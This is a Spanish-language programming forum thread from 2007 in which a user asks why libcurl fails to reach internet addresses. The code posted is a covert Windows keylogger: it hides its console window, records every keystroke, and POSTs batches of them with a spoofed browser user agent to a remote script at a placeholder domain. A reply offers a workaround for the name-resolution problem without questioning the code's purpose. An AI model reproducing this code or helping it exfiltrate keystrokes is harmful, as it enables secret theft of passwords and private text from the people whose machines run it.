Foros del Web » Programación para mayores de 30 ;) » C/C++ »

Problemas con libcurl en C++

Estas en el tema de Problemas con libcurl en C++ en el foro de C/C++ en Foros del Web. Hola que tal, tengo problemas con una pequeña aplicacion que estoy modificando. Tube muchos problemas al agregar la libreria CURL , ya que primero la ...
  #1 (permalink)  
Antiguo 17/10/2007, 11:11
Avatar de DeeR  
Fecha de Ingreso: diciembre-2003
Ubicación: Santiago
Mensajes: 520
Antigüedad: 21 años
Puntos: 17
Problemas con libcurl en C++

Hola que tal, tengo problemas con una pequeña aplicacion que estoy modificando. Tube muchos problemas al agregar la libreria CURL , ya que primero la queria compilar junto al programa ... pero nunca me funciono, finalmente la unica forma en que me funciona es usando la libcurl.dll , linkeando correctamente (en la linea de comandos del linker -lcurldll ).

El script esta basado en un keymail.c GPL, la modificacion que estoy haciendo es que los datos se envien al llenar un buffer de char a una direccion URL usando la libreria libcurl.

Me funciona muy bien en una Red de Area Local, es decir que la informacion la envie a una direccion IP estilo 192.168.1.111 , pero cuando quiero mandar la informacion a un servidor externo (a una direccion IP de internet o un nombre de dominio) , la informacion no se envia. No entiendo el por que de este comportamiento.

Código:
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*                                                                              *
*  File: keymail.c   Ver. 0.7 GPL
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
        Linker error] undefined reference to `WSAStartup@8'
Add this:
         -lws2_32
to Tools->Compiler Options under the section on compile flags.
*/
// Agregamos Librerias
#pragma comment(lib,"libws2_32.a")
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include "winsock2.h"
#include <curl/curl.h>

#define FileName "sound.wav"
#define MAX 100


int  Connect();
void SendPack(int, char*, char*);
char buffer[MAX];
int pos_buffer=0; 

int test_key(void);
int main(void)
{
   //Uncomment the lines below to put the keylogger in stealh mode.
   HWND stealth; /*creating stealth */
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   // Llamamos a Funcion que Captura Teclas  
   int t=get_keys();    
   return t;
}  

void insertar(char *string,int *pos,char chr)
{
    string[*pos] = chr;
    printf("Agregado el Caracter %c en pos %i \n",chr,*pos);
    *pos = *pos +1;    
}    

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                                  
                                    if((character>=39)&&(character<=64))
                                    {
                                          insertar(buffer,&pos_buffer,character);                              
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          insertar(buffer,&pos_buffer,character);
                                          break;
                                    }
                                    else
                                    {
                                          insertar(buffer,&pos_buffer,character);                              
                                          break;     
                                    }    
                                     
                        }    
                    }
                    
                    // Superamos Buffer
                    if ( pos_buffer > (MAX) )
                    {
                       // Enviamos Informacion
                       pos_buffer=0;
                       // Llamamos Funcion Conectar
                       Conectar();
                       //return EXIT_SUCCESS;
                    }
          
          
           }
           //return EXIT_SUCCESS;                            
           
}

int Conectar ()
{
    CURL *curl;
    CURLcode res;
    char var[MAX+3];
    curl = curl_easy_init();
    if(curl)
    {
            // Entregamos URL del Script
            curl_easy_setopt(curl, CURLOPT_URL, "http://midominio.org/key.php");
            /* Now specify the POST data */
            // Entregamos datos
            sprintf(var,"t=%s",buffer);
            
            curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox 2.0.0.6"); 
            curl_easy_setopt(curl, CURLOPT_POSTFIELDS, var);

            /* Perform the request, res will get the return code */
            res = curl_easy_perform(curl);
            /* always cleanup */
            curl_easy_cleanup(curl);
            
   }
   return 0;
    
    
}
Se entiende que midominio.org es un ejemplo , cuando pongo la direccion de IP de un Servidor Web que tengo en mi LAN (192.168.1.111) funciona de maravillas es decir, que al llenar el buffer de 100 caracteres, envia la informacion por POST al servidor, pero cuando cambio la URL ya no funciona (si esta es una URL de internet).

Con un Sniffer, he verificado que la libreria le pide a mi servidor de DNS la resolucion del dominio y se la entrega.
Pero no sucede nada mas que eso.

Uso DEV-C++ 4.9.9.2 , uso la libreria libcurl.dll (v 7.13.0) no he podido usar otra libreria libcurl.dll debido a que no puedo compilarla.

¿ Que puede ser ?
¿ Me falta alguna libreria para la resolucion de Nombres ?
¿ Alguna otra libreria para realizar un simple GET o POST HTTP ?

Alguna Idea ?

Gracias
  #2 (permalink)  
Antiguo 17/10/2007, 12:19
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 8 meses
Puntos: 17
Re: Problemas con libcurl en C++

-- Estupidez que había escrito.

Última edición por MaxExtreme; 17/10/2007 a las 13:29
  #3 (permalink)  
Antiguo 17/10/2007, 13:04
Avatar de DeeR  
Fecha de Ingreso: diciembre-2003
Ubicación: Santiago
Mensajes: 520
Antigüedad: 21 años
Puntos: 17
Re: Problemas con libcurl en C++

Tengo entendido que la Barra invertida (\) es la que se escarpa para imprimir otra o saltos de lineas, numeros hexadecimal etc ... pero la barra vertical (/) no pos, ademas los mismos ejemplos de la libreria CURL la usan normal ( curl_easy_setopt(curl, CURLOPT_URL, "http://postit.example.com/moo.cgi"); )>

Ahora, algunas par de veces, compilando los ejemplos de la libreria CURL han funcionado con URL externas simples (como google) pero despues a la segunda ejecucion no, pero siempre funcionan con URL dentro de mi LAN (Ips de la Lan y PC de la LAN con Servicios Web).

Asi que he probado con otras versiones de la libcurl.dll , pero he tenido el mismo resultado o ninguno, ¿ Alguien ha podido compilar la ultima version de la DLL ?

El problema radica en que no se quiere conectar con una URL o Direccion IP externa, solamente con direciones IP o dominios dentro de mi LAN. Y necesito que se conecte con una URL externa.

Lo cual es extraño ya que no trabajo bajo ningun Firewall de Salida, mas que mi Router tiene de Entrada, y otros Sistemas y/o Lenguajes (PHP) tienen acceso total a URLs externas.

¿ Algun otro consejo ?
  #4 (permalink)  
Antiguo 17/10/2007, 13:26
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 8 meses
Puntos: 17
Re: Problemas con libcurl en C++

Perdona, contesté a toda prisa.

Si dices que con una cadena como "192...." funciona, y que curl no te resuelve los nombes por alguna misteriosa razón, podrías revisar el código de esa función a ver si encuentras algo. ¿Has probado a intentarlo en un mini-programa de ejemplo sin ninguna complejidad?

Sino, un "dirty hack" es resolver con gethostbyname(), que ya tienes al usar winsock2; y pasarle a curl la dirección como IP.

Sobre que no funcionen a veces los ejemplos, puede que tengas algún problema con tu DNS. Cuando no te funcione un ejemplo, prueba a hacerle ping o similar.

Última edición por MaxExtreme; 17/10/2007 a las 13:39
  #5 (permalink)  
Antiguo 17/10/2007, 23:53
Avatar de DeeR  
Fecha de Ingreso: diciembre-2003
Ubicación: Santiago
Mensajes: 520
Antigüedad: 21 años
Puntos: 17
Re: Problemas con libcurl en C++

Bueno finalmente no pude encontrar solucion (por el tiempo), solo funciona con URL de mi Lan.

haha no importa, me pase hacia otro lenguaje xD

Saludos

Última edición por DeeR; 18/10/2007 a las 23:30 Razón: we
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 18:28.